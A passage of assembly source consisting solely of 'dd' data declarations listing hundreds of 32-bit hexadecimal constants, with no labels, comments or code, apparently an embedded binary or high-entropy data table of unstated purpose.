9A4F2710h, 0D212BB4Ch, 4510B81Ch, 4301E849h, 7DA0E381h dd 0F3B0DFABh, 0F2A21521h, 0A73BF7F6h, 505C99D0h, 52D7286Ch dd 44DFE3CAh, 0A44AE905h, 48D9C16h, 0AB878E01h, 3F5BE5A6h dd 8498C1A0h, 2C721948h, 0AE12936Bh, 681CF0A3h, 0CC92AD16h dd 356E204h, 0B086A1BFh, 0F8F72992h, 9701BE93h, 0AE7DEE1h dd 0FA3FDDE9h, 0D696096Fh, 0A7D127A9h, 3E5A4Bh, 38852B86h dd 7E4AE805h, 0D6354900h, 0E9F93036h, 0A4594F53h, 8001CF6Dh dd 8305E20Ah, 448A5D38h, 2072DC8h, 73416859h, 0A70040A9h dd 17ED0650h, 0B54B930h, 65FF929h, 0E5462505h, 7824773h dd 1E4A6364h, 8868D4C0h, 0EE18950Fh, 0F9133761h, 8E015F35h dd 3BBF39FBh, 97D162Bh, 787C64D5h, 78F209C9h, 737598F7h dd 0B6F53DEBh, 9D00E7A5h, 9E4CF9BEh, 0D41455Eh, 0BA61B303h dd 0B5C60B6Bh, 975B43A5h, 65C392B4h, 0BD013351h, 7C3320CFh dd 8D3864F5h, 0C0EFB500h, 0E58005EDh, 0B0504207h, 34270428h dd 130A93DEh, 1016B0C5h, 0EB2C86DDh, 8B3EF2D0h, 5C6B62CFh dd 0F1E9C8D4h, 42F3422Eh, 0FFF0BA66h, 2F5A601Ch, 4002C5A4h dd 6020BC49h, 26268A33h, 1F3F6F47h, 1378CB32h, 0B3C8B004h dd 5C2F79F8h, 9FFA6C50h, 0E90240B8h, 925B059h, 87506658h dd 98B27189h, 16E151D4h, 0B5F80B5Bh, 57D9A729h, 66367B0Bh dd 4CAE2DF3h, 384556E9h, 1F24EF0h, 0D7CCE3D6h, 0E8BC3191h dd 8A136BBBh, 7536F409h, 2C9C110Fh, 58328945h, 64A0B46Dh dd 101AADFEh, 9E40A996h, 0C2161283h, 0D5180F70h, 0CAF6B4C4h dd 0FB4B7BCCh, 0EE74549h, 6B75E054h, 67D3F752h, 72DD1250h dd 1096173h, 68135D5Bh, 0BADB6220h, 3179A46Eh, 0F4575263h dd 0D05D020Ah, 59B0FCD1h, 288CC47h, 399C2998h, 2E6C9D32h dd 0D860A6BEh, 971AC67Ah, 80923EAh, 0D6D39843h, 48D4894Bh dd 960C9D88h, 0F7885AA7h, 127E4706h, 0F84B3FCAh, 34E32A03h dd 0CE0158FBh, 13088280h, 74CBDA17h, 0D8010E64h, 0D7581FE9h dd 16E79EBFh, 37E5B2E9h, 0B8C9840Ah, 25400093h, 6C870D47h dd 9D65192Dh, 7F5E30BBh, 16C1B847h, 0DA58EFE3h, 0D9C8EAABh dd 67DE4F4Fh, 0F82CFF9h, 4051C8AFh, 83A88A0Ch, 3484210h dd 0BEE8813h, 8180F09Bh, 66772CC8h, 55099BACh, 511861E9h dd 908125Ch, 0D9DE5D9Dh, 0EC284E9h, 0E0A7550Ch, 0D74F4C9Ch dd 4C668204h, 1AC95F0Eh, 3127CD50h, 0C8BE60CFh, 63E13F4Ah dd 6468410h, 9207D005h, 0AAB255Eh, 0E82F1DD9h, 0BF5A5438h dd 9AB54514h, 6D225692h, 528F5082h, 801CC9B2h, 0EBCE35EAh dd 0ED30F88h, 0CB04B7C3h, 2DBF3E18h, 897CB9ACh, 915651DEh dd 0A750C106h, 3C4A410Dh, 0E096671Bh, 57680008h, 0C289BF6Bh dd 150A59Ch, 0AFE913CAh, 5839ED55h, 42C7000Ch, 0F4826F30h dd 5A013BFCh, 0D930B4D5h, 0C1B7409Bh, 4605EE1Eh, 0C0F44B7Eh dd 1CA76499h, 0ED0BFEFEh, 714AA2F9h, 6E32553Bh, 70C1B70Fh dd 0C54A2103h, 7F3FD1E9h, 4A527176h, 2E0A8962h, 0F716DA8Bh dd 3281E1F1h, 84099208h, 0E5CA32CFh, 0E84A27B0h, 72598931h dd 0CE0E12DCh, 515E4291h, 0B966003Eh, 0BF1D9D52h, 0CA62E938h dd 0FA25DD29h, 8AC94E20h, 8F858257h, 204893C6h, 334141F6h dd 0F4969679h, 576C315Eh, 30E906F0h, 0E3734446h, 140673B5h dd 4DEB877Eh, 0C1909006h, 0A4720CD0h, 9A1D3046h, 44104312h dd 3C07E21Fh, 0C9C02B25h, 0E5D90998h, 8A4E1880h, 0CB31CA06h dd 0F5C1594Eh, 0FE04571Ch, 66E8FD07h, 515E1FDEh, 0ED80B440h dd 0B202E985h, 84681312h, 0E02FC966h, 0FDB31235h, 540CB702h dd 2611D43Fh, 658002A7h, 0DA50FAA0h, 6834B52Dh, 7F14EA42h dd 36C09509h, 510F3E05h, 8BE92D48h, 598F19D8h, 581A3F37h dd 0F0851CA6h, 1E2BC69h, 0C34387BFh, 0BB7C290Dh, 0F8243D6Ch dd 181B140h, 0F5A614C7h, 0F4FA2194h, 0EB2393Bh, 2E8FD48h dd 96694DC5h, 0C787C001h, 264311Bh, 0EDD9F918h, 25E6DCEh dd 0F45F3C6h, 0B090E01Ah, 0BC7327DCh, 0DF203402h, 65806DDCh dd 0C12C760Bh, 0F9074CEBh, 7EA8A04Fh, 0A728093Fh, 97A7221h dd 0FAF7FEA4h, 9000E4E2h, 46EE5D50h, 0B3043D98h, 29557E12h dd 0DC7DE902h, 560B47ECh, 64177068h, 0C78E8134h, 31C225B1h dd 0DD5BD51Dh, 0C9CE3052h, 0CDB3A5C4h, 610149C2h, 68EE251h dd 2CEC058h, 0D980E36Bh, 0DE20A9F3h, 0EE1D5B7Fh, 0F3BDF6C7h dd 17453B5Ch, 0D420637Fh, 0B845319Dh, 0EA680F9Bh, 5DEFE252h dd 406BE84Eh, 0B6C90366h, 165BD458h, 2A24B22Dh, 4F12E9B2h dd 9F1ADFF7h, 612DDC1Bh, 5759CD29h, 0EE7766C6h, 0CEB5FB7Ah dd 0BD19302h, 4E2B7CE9h, 0F3DAD333h, 7001B2E9h, 4AB4C310h dd 0C8885007h, 4058C222h, 0BF5AD789h, 61A49089h, 0BEA3257Eh dd 0E7890289h, 4225A0E4h, 0F7505A4Fh, 6BD4F4F6h, 7A155420h dd 87903CBBh, 5551209Ch, 1BEB607Ah, 1D486F17h, 3559090Eh dd 74AA200Ah, 2014A491h, 0B50ED701h, 631E4129h, 70DDE9F8h dd 7DBB06C6h, 0F2130418h, 70B71BA8h, 86D7F60Eh, 8D68CF7h dd 0FFEF1C80h, 5207C0C0h, 0E97EB151h, 49C96E54h, 0F10181E2h dd 162D5FDBh, 9968CE29h, 540393D4h, 1415039h, 5A1080B4h dd 6B06042h, 8DC1977Dh, 5D440667h, 0EF8FDCE9h, 2C42BE56h dd 0C8D6512Eh, 2FC2811Ch, 4076BD59h, 6260E1B9h, 5636C066h dd 30701A80h, 7AC117DAh, 2D6DE768h, 18C5EAD8h, 0C08AC2Eh dd 187D3B8Eh, 10F22924h, 0E9120820h, 0F2F20803h, 9B589D27h dd 0B15E115Ah, 6C9CA492h, 426B089h, 0A0685B5Eh, 1036E31Ch dd 0A94C52CEh, 0E30A4613h, 0C1DB1025h, 689D0F5Bh, 76711069h dd 0C148A0BCh, 0D81F9BB2h, 0F5FE216Ch, 0B4146E95h, 80EC5D30h dd 144EBD55h, 0E90C0815h, 5E003A3Dh, 4A63EF81h, 0C1504F8Ch dd 81F209ECh, 1D24CA18h dd 0C8DB7722h, 0E0D1ABAh, 0D789576Dh, 0E98A0F53h, 0F122B06Bh dd 7ECC6FB2h, 13DCCDD0h, 2752CC5Ah, 26CD7A00h, 0BD2910C8h dd 0B15B6304h, 390C068Dh, 0BC4FE9F6h, 9AE3A212h, 290F4648h dd 472B652h, 0B016E944h, 0F825318Ch, 60A87956h, 4BF51B3Fh dd 0E9041283h, 0CD75539Fh, 13CA6953h, 3BC8C830h, 540CF5DDh dd 0BCF3949Fh, 6402E424h, 4C1516FDh, 0B2124A18h, 1A4E08CDh dd 44D4592Dh, 805C20C0h, 0EA904CECh, 66A43125h, 0F17981C6h dd 0A73ED54Eh, 0C4B46A0Ch, 0F846205Ch, 751ED9F5h, 0DD8240C3h dd 7B508D2Ah, 0C282A8DDh, 0A184001Ah, 0ED69D13Bh, 2F14B6E0h dd 75833D7Ch, 0EFEC8CE9h, 4004F25Fh, 169444B0h, 5E4543B8h dd 81A52E2Ch, 3AFC2772h, 68F0A857h, 0CE65179Fh, 16F8592h dd 4694C0Ch, 0E05E717Ah, 1B12E91Dh, 0AD08CB09h, 0A8CD81A3h dd 7035903Fh, 98ECAE1Eh, 44C901ECh, 0AD6F156h, 0A880B0E9h dd 23E10BE2h, 4FC25DDAh, 0F5ABB882h, 5E5A2DDEh, 9D76D244h dd 514CA15Ah, 0C824C9E9h, 7F68125Eh, 0CE843673h, 88310701h dd 2259E939h, 0EE4E416Eh, 6E388A33h, 9213EA84h, 50A256BDh dd 25D9DF40h, 8B75C93Fh, 69CCE9E8h, 1C60E0C1h, 2E675032h dd 9A7D1EDBh, 0C5BFD08h, 8718530Bh, 7B772300h, 8C5C45BBh dd 17F7B866h, 20582BE9h, 482AAEBCh, 99F6976h, 59FA4864h dd 0ABFA55E9h, 376F0C8Dh, 3573F19Dh, 92904A8Eh, 0B149BB09h dd 0C5517465h, 7500DEF7h, 3C5F9F0Ch, 831D4E8Eh, 8FC6AFEBh dd 6970E93Dh, 0E30D0142h, 0CFD7D328h, 0FDE0A45Fh, 0D41BA218h dd 9744E49Dh, 2A983300h, 0F7266CC0h, 310071D2h, 0E956FD02h dd 488F9AA5h, 98932901h, 552FE9DFh, 0FA01ABA7h, 0F50CD7B2h dd 0DD5730BEh, 3EEE23C0h, 908056DFh, 0F946B715h, 5238B0B0h dd 5BB2C8B5h, 0F1EC5829h, 0A816D2A0h, 0F8451513h, 10689412h dd 1A49A661h, 1F336778h, 8243174Bh, 1E6A2E2Ah, 0B0CEFC0h dd 0FA167192h, 0BCAC425Fh, 3C6668A0h, 25C57658h, 9F900ACBh dd 6DAE96BEh, 0B82D48B3h, 0B853F809h, 5F545705h, 0E9E3BCFDh dd 1780F9FCh, 0BF8C2967h, 6BC79602h, 764BC251h, 0B78A624Ch dd 97A233FCh, 34D82A8h, 19CB6650h, 0F697073Fh, 1B5E906h dd 0B180473h, 0F5F5BE6h, 0C3095480h, 409D48AAh, 25F28914h dd 920926E9h, 340C6E7Bh, 8A2271A5h, 6681945Dh, 631E233h dd 565C0DCBh, 0A4E95026h, 2B9FAD52h, 92BFA287h, 0C5B42238h dd 1A2600E1h, 87B3BE29h, 30ED7880h, 0E9274E7Ch, 6658E024h dd 0B50A7168h, 70203E64h, 0B4148A3h, 0BCD4855Ah, 505216DCh dd 71A40900h, 4B80C18h, 837BCB36h, 82EAC429h, 0C00E3B0Bh dd 0B8040C35h, 0FB3EB046h, 0C3834CD1h, 0F50858E6h, 3B31DFD1h dd 0D9D43A44h, 2DD02900h, 803155F8h, 0FA911A5Ch, 0FEDCB100h dd 0E0C1C94Ah, 903AD9F6h, 0E8E935BBh, 0CB41E265h, 2A7DA3A3h dd 5B9F42Fh, 8EE58AF6h, 0A33CE07Eh, 6ABCA2BAh, 9C228B04h dd 9F5ACEC1h, 8A053281h, 0E975A24Eh, 1163CD3h, 0B1FD7BAh dd 8F3C316Dh, 835AD1E0h, 6502C12Fh, 0EB273E31h, 95A67CF1h dd 561B490Bh, 0F35F56EEh, 0F4FFD082h, 77C9721Eh, 39C06121h dd 0E4614F03h, 2901A213h, 0BF40DCC3h, 6BF5E7C1h, 833E441Ch dd 6CF839F5h, 0EB4B71E9h, 641F6F4Fh, 46805778h, 241E5BEDh dd 2527CDF3h, 0BA0AD053h, 0C7948314h, 0EFC1B08Eh, 0CEE8B702h dd 6209DB61h, 84F801EBh, 5C09A9B7h, 2F4051F6h, 1FED2F6h dd 0BEB450CAh, 0E119C480h, 79F4D4CCh, 58E2081Eh, 0DA1FADF9h dd 8DEA5859h, 0EBC8521Ah, 89F59BC1h, 76F766EBh, 9E5E899Dh dd 9DC1EF9Bh, 6897AEDh, 6B06E1h, 518CB4D9h, 3590F2B1h dd 3D20847Dh, 2140BDA7h, 7E486231h, 5A5520BCh, 96E5B321h dd 4A20FCA4h, 0EBA92EAh, 0FE66D7FCh, 215D0D2Bh, 6FA41C6Fh dd 0B6053CCCh, 436469FEh, 0F8AB3E6Bh, 9A20F98Fh, 3D5E5D51h dd 0F82375D2h, 7782072Bh, 7069761Bh, 422B0961h, 0C3852012h dd 590708EFh, 292D8018h, 9AF198F9h, 665304FFh, 0C72A56BBh dd 7B91B39Bh, 31C30A0Fh, 0DD09C0A1h, 9C344AE9h, 32DA82E8h dd 0AB622BE8h, 28786F50h, 4B685912h, 52C2F8ECh, 0C78B0B6h dd 8882EE01h, 0EFC05AF7h, 5492CF42h, 3D2D0059h, 95575DFh dd 5658C524h, 1F08AA03h, 0F5865B36h, 0E9EBC4C2h, 0EBCA312Fh dd 49DEAE0h, 52F9815Fh, 50BE10E2h, 29220A68h, 5072DE8h dd 8AC1B7E9h, 1459275Ah, 203395D6h, 0C342945Ah, 0FB1D4468h dd 41723F0h, 0ACF488E9h, 0C80AD263h, 898EB606h, 205F41F3h dd 0EA385E5Bh, 21E668A0h, 0C162A7B4h, 0A69BD518h, 7BE66AD8h dd 9C0130F1h, 7B33254Bh, 7E2FA167h, 79CA0B6Ah, 0DD7C3429h dd 54057869h, 15EE80Bh, 6E80BB53h, 0CC8173F3h, 3C2846F0h dd 940BBE47h, 0D0CB30D7h, 3B575C97h, 0A0705E2Fh, 8995C4Bh dd 2D7E2321h, 0B4B728C9h, 895E8DE6h, 0AD4D30E7h, 27E5A14h dd 4B5E0295h, 0DF1668E9h, 612F1BAh, 0C380CF10h, 2F357CB8h dd 0F780F6BCh, 4AA11F1Eh, 296C413Bh, 252D7779h, 5A0700A6h dd 2BDE20BEh, 963E05AEh, 0E24F5EF7h, 7761ACE9h, 0BF1C9EC2h dd 12E001BBh, 454817D8h, 8BE3584Bh, 12A70827h, 0E529380Ah dd 62CAAF3Ch, 0F0F55813h, 0E7544478h, 0B878EB90h, 5163F42Eh dd 0F556A506h, 2A7ECB0h, 0C166B248h, 0EFC004E1h, 3A9FE6CEh dd 0B74E6C3Eh, 0D55885B0h, 0E5416681h, 6472DCADh, 0E8D6EFCEh dd 0E954B0D8h, 542158C4h, 0D3AEA0D6h, 0DEFFA6B2h, 1BBF858h dd 36396805h, 0CF24F3CFh, 869AA591h, 0B1871CD5h, 0F6D56CADh dd 0CDA4F95Eh, 0D7E91857h, 5EB984F1h, 0A5D171Eh, 74F68F8Ah dd 0F8C35202h, 600C60E7h, 0F01398C4h, 0E807A205h, 8B5DCE78h dd 79541027h, 0A1E96278h, 5117585Eh, 0E2D6C3E6h, 7CF54A38h dd 0C0EA73F8h, 47B2F695h, 892E7862h, 7208C1F1h, 685B050Dh dd 122DD56Fh, 5B77ECD9h, 0CFA3AB50h, 0A0F4E5EEh, 0B74F4BFAh dd 0C772E0C2h, 237F597Ah, 0A2B18A82h, 166786C3h, 11F529DEh dd 0FD05084Ah, 0ED32DEE9h, 3E407C8Ah, 7026B05Ah, 3D200BDAh dd 790D7F7h, 3604C4D0h, 5F3A0175h, 0ED2D6EC4h, 2FB331h dd 60C7804Fh, 3013DBB5h, 0EBB45BFDh, 276AE344h, 0F1F98557h dd 0BD82AE6h, 4208145Dh, 3409CBB2h, 0C806CA32h, 8809CCFh dd 8B9F5759h, 98765AA7h, 877E4BACh, 0ECD80474h, 28AC0E47h dd 7AE7DFF0h, 0C7C253Eh, 1E0B4A45h, 0C9B8D1E2h, 0B857A907h dd 0F516672Ch, 0C2F3FE09h, 0F2055296h, 64C89A17h, 12C6453h dd 88CA015Fh, 8003FB61h, 0F8377708h, 0CB6DDED5h, 3304E87h dd 903E69A6h, 1777EE25h, 0EEA41C13h, 999CD183h, 0BCF6E985h dd 0B6B05E40h, 6F961358h, 0FD90A1DAh, 385DEA2Ah, 0B55BDDD5h dd 0E3A7C2E7h, 0B1C82DA7h, 0A85A8184h, 0ED2579CDh, 0A6EF5B49h dd 62BAE272h, 0E919601Ah, 0DD314B9Ah, 0C4166FF3h, 0E9A005EDh dd 19D3523Fh, 0D94B435Eh, 0F30248D6h, 7CEA28E2h, 37FE81A5h dd 0C3CF922Fh, 0D26A2F79h, 2D59F269h, 634080E9h, 28004EB8h dd 0A0352B64h, 0FE0D4C5Eh, 5A019AAAh, 444983C1h, 7B832F4Bh dd 50098C9Dh, 106AAE00h, 0C10048F6h, 0E78106EFh, 32553220h dd 2144F56h, 74F1A860h, 250F9E00h, 5E98578Ah, 5595022Dh dd 0E0D12B28h, 0AF0B443h, 357E223Ah, 0AB706B78h, 90BC7CCBh dd 82DD598Eh, 0A5ABE30Fh, 30484250h, 0F468097Ah, 0B117C86Bh dd 6E4A14Bh, 0FA3312EFh dd 115EE65Fh, 0BA01CD4Bh, 63265EF6h, 4C062B09h, 9B1CAAD5h dd 8430107Eh, 80A2988Ch, 27F3F24Ah, 0EBA220F8h, 64E74354h dd 0FB4CB631h, 84C6C354h, 46FC095Ah, 530E53DEh, 8FFFD8CEh dd 41CD6FFDh, 0BA84666Bh, 1571B90Ah, 912FC67Eh, 0B930D73Ah dd 0A0C5DAF7h, 0E525B9D6h, 6E627A4h, 23286Bh, 7778869Fh dd 9ABDF63Fh, 32E390D7h, 0A2D2543h, 54C82AFh, 6870510Bh dd 0D8262350h, 3AEC899Ah, 6609CBE0h, 65545359h, 16E1A443h dd 0E9988371h, 3D74F6F3h, 2552764Ch, 0C390EE3Bh, 4D4A61FCh dd 0AC35BA8Dh, 0F5A764B8h, 50613EAh, 0E25C6D25h, 19189984h dd 227DBB02h, 5DD80128h, 94C81FA4h, 2491B3C1h, 689F8CA9h dd 0FE341A52h, 800261EEh, 0DFCE6EA7h, 2E165210h, 0FD01905Ch dd 551B666Ah, 1E21E640h, 0BD3C0236h, 0D20A0683h, 25576DC2h dd 65810183h, 0D424DF70h, 350348EBh, 4F0AF02Eh, 32CF7FA3h dd 6A330C05h, 84C4439Ch, 354997D0h, 31C81330h, 3AA6FCF7h dd 39C2104Ch, 0F24A0890h, 0DED939Eh, 8502EC96h, 55E26AE9h dd 8EE76C05h, 0BCD416BCh, 78E18903h, 0F0293C42h, 14C1A5CFh dd 4671FB98h, 0B100BF3Dh, 5304515Ah, 0F988D6B7h, 8CF8FD84h dd 0C613C33Bh, 11AFF696h, 77483DF0h, 25FABB86h, 0ACCE619Fh dd 5659358Bh, 8D4FAE54h, 66A19A0h, 0CFD237E9h, 6878C450h dd 9B237B2Dh, 0B39A007Bh, 0E9D988AFh, 0DF9CA96Eh, 0E654DE4Fh dd 0D6CB83CAh, 0B023A321h, 286F77E3h, 38B63B27h, 0C48BDAAEh dd 0DDDADE01h, 131AE91Ah, 5A47577h, 20280457h, 5984DFA9h dd 3E20F4D2h, 0F453C5CBh, 0C2E9D9B9h, 94FE3E4Ah, 56F88712h dd 9BD1C9DFh, 52C86D2Fh, 7CF64EBEh, 0AF9ADED1h, 0A7E0524Ah dd 6100134Ah, 0F9070F35h, 0E6970511h, 0DD5758CBh, 9E0D0460h dd 4C02B608h, 0B75FFB2Dh, 278284CCh, 0B4EB8002h, 0F6F06CE0h dd 614ADE7Dh, 658FC584h, 81FCDD26h, 5C71C9BAh, 15C03F36h dd 2EA92605h, 241E0806h, 28506133h, 0C26670F3h, 0B1835F82h dd 88D2F441h, 8F0E34D6h, 958EE502h, 90DF8693h, 66E368D7h dd 2B3F7770h, 0BE6AA484h, 21091E0Eh, 687310F0h, 0E60E4F1Dh dd 9A12D2D9h, 41E3FCE4h, 0DBCA20C8h, 71776817h, 0C13FF6FCh dd 0ED207ACh, 6CC18103h, 20F7A9ACh, 174C6D79h, 0DA1E8478h dd 0F29D31FEh, 0CA373935h, 5801D453h, 89738F0Dh, 5ABFE02Ah dd 832C3641h, 0E9A15C59h, 14434BAh, 0C588D15Bh, 5D1D60FEh dd 83219568h, 435B3012h, 41AA4A01h, 1E3F2D54h, 0B51B0181h dd 3853BCADh, 50904E69h, 921F04E9h, 293326BDh, 187E69B2h dd 0C3F652h, 7B777D4Dh, 0B9695CE9h, 4D2D5496h, 0A000689Dh dd 0B56C2768h, 1FE8A218h, 0B4651EBFh, 0E9555071h, 4852FB25h dd 9108C12h, 835F7B03h, 3109B2D6h, 996DBACh, 445A946Ah dd 0DC22CD00h, 5FF90940h, 8AD95AF7h, 0A8BE00ECh, 0C1332962h dd 20CBB8E6h, 20B5F335h, 168468B9h, 0C94A4892h, 7C582B5h dd 0D3ECFE0h, 47359F05h, 0DDB1A1E9h, 9576977Fh, 0ECB25215h dd 6AC8F415h, 613B480Eh, 0A5BF04D6h, 0B4201877h, 0E5883E90h dd 6E1C014Bh, 0B207EDC0h, 0E8283628h, 8151B949h, 4AC22A5Eh dd 96A358A8h, 0CA173C89h, 5090F3F9h, 20B1AF87h, 9A1F5AA7h dd 0A399061h, 0C3012BDDh, 7F060287h, 0A3403259h, 6B91267h dd 0A3B95502h, 9097D9Ch, 0EB3FEFA2h, 69EFAA74h, 85ACD698h dd 0BA88685Fh, 6A098F35h, 62057E34h, 38D5D817h, 8814D289h dd 0DDCB9372h, 0A504E6C8h, 0E16CA7ABh, 2DBD41B5h, 0E203B274h dd 255AF25Bh, 9F98DD68h, 63C041E9h, 3E2EE32Dh, 1A27BE36h dd 0CB624D71h, 0D24EA0FEh, 114EACA9h, 5B18AC31h, 78851C4Ah dd 9847AE28h, 73F33F04h, 38B029F6h, 2CA16726h, 0E38E1BEh dd 49B2EB17h, 56941855h, 60165968h, 0E9A9604Fh, 96B52CB6h dd 0ED81255Ch, 0D5134379h, 2D4998FCh, 9A23E34Bh, 0E1896052h dd 43058108h, 0DCD95E7Dh, 16DD7E1Fh, 0F027C067h, 2AEB3FE8h dd 1B510813h, 6714701h, 96B12F7h, 98A64C44h, 6AB7D659h dd 491BE86Ch, 0EBC0B6AEh, 9169AFFCh, 656560A9h, 8DEAB000h dd 2E193E21h, 9D4C1415h, 5E1A304Dh, 775B4E92h, 38449522h dd 0D8FA4C01h, 0D008A070h, 299620E9h, 3ED12C24h, 0B3975214h dd 5AE8E2E9h, 2E26017Bh, 4A682931h, 85322B16h, 34F2A311h dd 0CAC28331h, 9734F02Ah, 0E927EE1Ch, 0C1FE8044h, 276807E3h dd 0EE18321Bh, 0D51658A3h, 76BC400Dh, 73E91274h, 0F9E745C4h dd 4D148356h, 7B7BAE91h, 0D2002829h, 2EE11D91h, 0AC948915h dd 0AAC50804h, 91C1923Ah, 0CFA67F90h, 8901133Dh, 0B40009F8h dd 2CAC8E20h, 322A688Eh, 0B601785Ah, 4E6C061h, 4430CEFEh dd 54E497ADh, 623B6815h, 4C54C17h, 29D808E6h, 0FF05182h dd 947FAC41h, 84436028h, 44E0571Dh, 5D34F798h, 1AF56081h dd 0AE98B90h, 88D37FE3h, 0D1169380h, 0C18EACF5h, 446290F2h dd 8C6089D9h, 90B52164h, 95565371h, 8B90ACC4h, 5974Dh dd 9835E62Dh, 0E4BE051Ah, 70364C03h, 0DCB9A14Fh, 8FA14948h dd 68CD00Eh, 3A45A6F9h, 7BECD717h, 19D14704h, 0D9E90229h dd 0CF85A4FAh, 6712E9EDh, 4B002C0Ch, 845AE75Ch, 412F2BBh dd 0AD9AC5Dh, 542CF35Bh, 0DE157100h, 0BF515F65h, 2F0CC611h dd 68099F9Ah, 65D46348h, 94395CD1h, 0A81AE984h, 65B24EA3h dd 1D823C9h, 80B0149Dh, 247547D0h, 12C56ADAh, 0C6D4A8FBh dd 139CAB1h, 0D261CC5h, 3AD5F71Fh, 6D097925h, 171DD60Ah dd 9A3ED62h, 30178B68h, 0B5EE88C2h, 59B0E2ECh, 0D0CAC1BCh dd 0E02EC700h, 5564217h, 1019F2BEh, 0FF900137h, 207B1175h dd 4D097C46h, 0F0929B0h, 86EEE78Bh, 0C0C24D7h, 6D830B3Bh dd 55DC01D3h, 3D1FE9C9h, 0BDC38748h, 64339CE4h, 0B9E3FDE1h dd 0E854E0FAh, 0D49297D3h, 2E4ABD00h, 6F9039A1h, 0D358200Ch dd 3C6E0C19h, 18B7276h, 0AE565DE9h, 2D23FA5Ah, 409CD188h dd 98D3CBB7h, 0C0615363h, 37A4F11Eh, 0E197C0D1h, 902A2DC5h dd 54055B8Ch, 705E2525h, 80709511h, 5F580640h, 0DB72D059h dd 5E5F4969h, 0C4059F7h, 49E5BE9h, 0AE895FCEh, 1C4FAAC1h dd 5E866620h, 7D499DF7h, 58129F95h, 0B3FEE0D1h, 0FAC72F81h dd 3F21830Eh, 9245360Ah, 64303900h, 5D126818h, 0D084250Dh dd 7827FA31h, 0A5F05E8Bh, 705245E1h, 0F6B2B8DDh, 0DCA4235Bh dd 0E989C99h, 0B7E5E801h, 9027C820h, 42C02514h, 10A61FA6h dd 77A0DD94h, 4E5E1359h, 0E380AD33h, 5706079Bh, 27CF8853h dd 0AEDA2FAh, 1AAD66DBh, 77E6BAC7h, 0D8BCDC94h, 0C33A88h dd 7B2970BEh, 0E600C145h, 4F68105h, 1CAF652Eh, 0E45EF589h dd 0FCC2301Fh, 344CC71Eh, 0BDCD4F81h, 20A810A6h, 5E83B010h dd 618A9202h, 66B8055Fh, 1866C9F3h, 0C425BF30h, 6BC8D602h dd 0CE9A61AEh, 0BF21C755h, 1310CDD2h, 0EEC00F2Ah, 0BB220A08h dd 76FB2189h, 4E06A29h, 90E05038h, 6101EAB5h, 0F3295816h dd 56086D10h, 712125D1h, 0D85A6923h, 74413945h, 0BC3DA20Ah dd 12A2D44Fh, 71FB98Bh, 5A5F5257h, 0D5DFF712h, 606158Ch dd 3BEBE912h, 0F2938BADh, 5CE76051h, 914DE068h, 0BD668351h dd 53A241A5h, 0E74FC459h, 515562BFh, 6F9A70Ch, 885954CBh dd 0C0C64AE9h, 8E7C01Dh, 50DFF607h, 20D441B4h, 9A7DEAE1h dd 0BD2253A5h, 0D81FA764h, 58670839h, 64138F9Dh, 3786913Ch dd 0F6397B26h, 954C9838h dd 284B3A1Fh, 0F65820ACh, 485A485Dh, 0DE7004B7h, 85D108B9h dd 0D77F1B81h, 0B1E77433h, 35DB7101h, 33EFE8AAh, 75FA8E48h dd 8C11411Dh, 2FB0189h, 7B40A051h, 36A16205h, 16B214E4h dd 8C1EE07h, 0EC635AF4h, 60C4CAFFh, 0BF4C9BD2h, 47A66E23h dd 0F05313F9h, 95C9CBB3h, 0F2B784D7h, 0F8A567ACh, 13EBD20Fh dd 0C36BB4F4h, 5BA8CE4Ah, 0ABE15CE2h, 0EEB806B7h, 5D29E77Ah dd 3097023Fh, 84DAE219h, 8516B322h, 7354AE1Dh, 44E9B07Ah dd 4EB0804Dh, 58C53007h, 52CEEB28h, 0CD170BB2h, 773521ABh dd 0EBA65245h, 95BD91D4h, 4880AFD3h, 823F4CE6h, 0F75A2A68h dd 1EE980B0h, 82801D45h, 8083AEBBh, 3CD42969h, 365F07A9h dd 0F49B4062h, 9508208Dh, 82564A24h, 4A82BC03h, 0B202464Ch dd 175C2EDh, 2867C1DBh, 0C3A5FEB9h, 54B2F118h, 17F970E1h dd 836E4041h, 0DD82D95Eh, 59B49E1h, 0C9829497h, 66C4DC05h dd 5F0A6F2Eh, 66787168h, 62AB5795h, 563B79A0h, 1D7F89C5h dd 100C666h, 813A850Ch, 3B51DEE2h, 0CA005CF5h, 2A612376h dd 0E6AA01E9h, 5D490F5h, 2E7958Ch, 2788FD23h, 0FA420DFh dd 0B78FFAF7h, 0AB466Bh, 9F4141AFh, 3657C214h, 69294EF4h dd 0C1EF7442h, 56B7FCFh, 8A23CB3Ch, 2C645250h, 5197B178h dd 81BAC01h, 0E68704AFh, 31A2407h, 0FFF3D2F7h, 1A5A7430h dd 504B5886h, 1937F420h, 0BC1BB431h, 3B4F60B7h, 0E917D1E6h dd 0E641C635h, 6BEF8059h, 28C0D8CFh, 0ABF6A3F9h, 0EA82C15Bh dd 0ED931D72h, 92EF865Fh, 0DEF30723h, 0B548D953h, 0D4FFA1A2h dd 0A5958B52h, 53B03FB3h, 0B783CBEh, 8BD030A5h, 68865295h dd 280EA8F2h, 3F33606Dh, 0A1648ABEh, 0B9E370F1h, 0DEC24394h dd 43C50F44h, 0A1E1A8D5h, 101A2D6h, 0ACC8DCDAh, 9F78080h dd 1222687Dh, 0B0007344h, 0D0E334EDh, 0F24A2CE8h, 6690A7h dd 8CEB8065h, 0D828BF04h, 345BD0FDh, 0C73DC877h, 0D41725E9h dd 0E33D67DAh, 6CC26D3Fh, 0A607E00Eh, 0BB4C010Bh, 0B00C20E0h dd 291A8117h, 5908248Eh, 1CA8FC36h, 9F96F81h, 5F2FB551h dd 683083B1h, 9CB14C3Fh, 0E8C9C253h, 0E6137F29h, 58F3D8BEh dd 20041822h, 33A08A7Fh, 0A1382AF0h, 0C9D7A531h, 65AE0779h dd 295C8A13h, 5A61111Eh, 0C8172F8Bh, 84B1ED3Eh, 62BB6344h dd 5FC3565Bh, 279C6A0Ah, 0F9048547h, 0F7C02B16h, 58FFD0E9h dd 0A2984F02h, 3B2CD44Fh, 128C0E78h, 98E25311h, 0D3044E14h dd 5AF9C5C3h, 9F2C7CFAh, 0E4F025FDh, 0E56CD7DDh, 0C8B3604Ch dd 0EBE0E925h, 979CB1CFh, 81410C81h, 0E478E8E1h, 0D161F723h dd 0D7DCE904h, 68C2C069h, 81D938B7h, 73758Eh, 0F9EE8107h dd 0F570E28h, 26BA94E9h, 0A8080F76h, 0C4FE0BA5h, 0C0059100h dd 0CDED03E4h, 0CED8E7E1h, 3F67B5E9h, 0E81B934h, 0A12B7F2Ah dd 619407C0h, 2163E537h, 5C752C9Bh, 82C1F469h, 0CA6AFD78h dd 8FC812C2h, 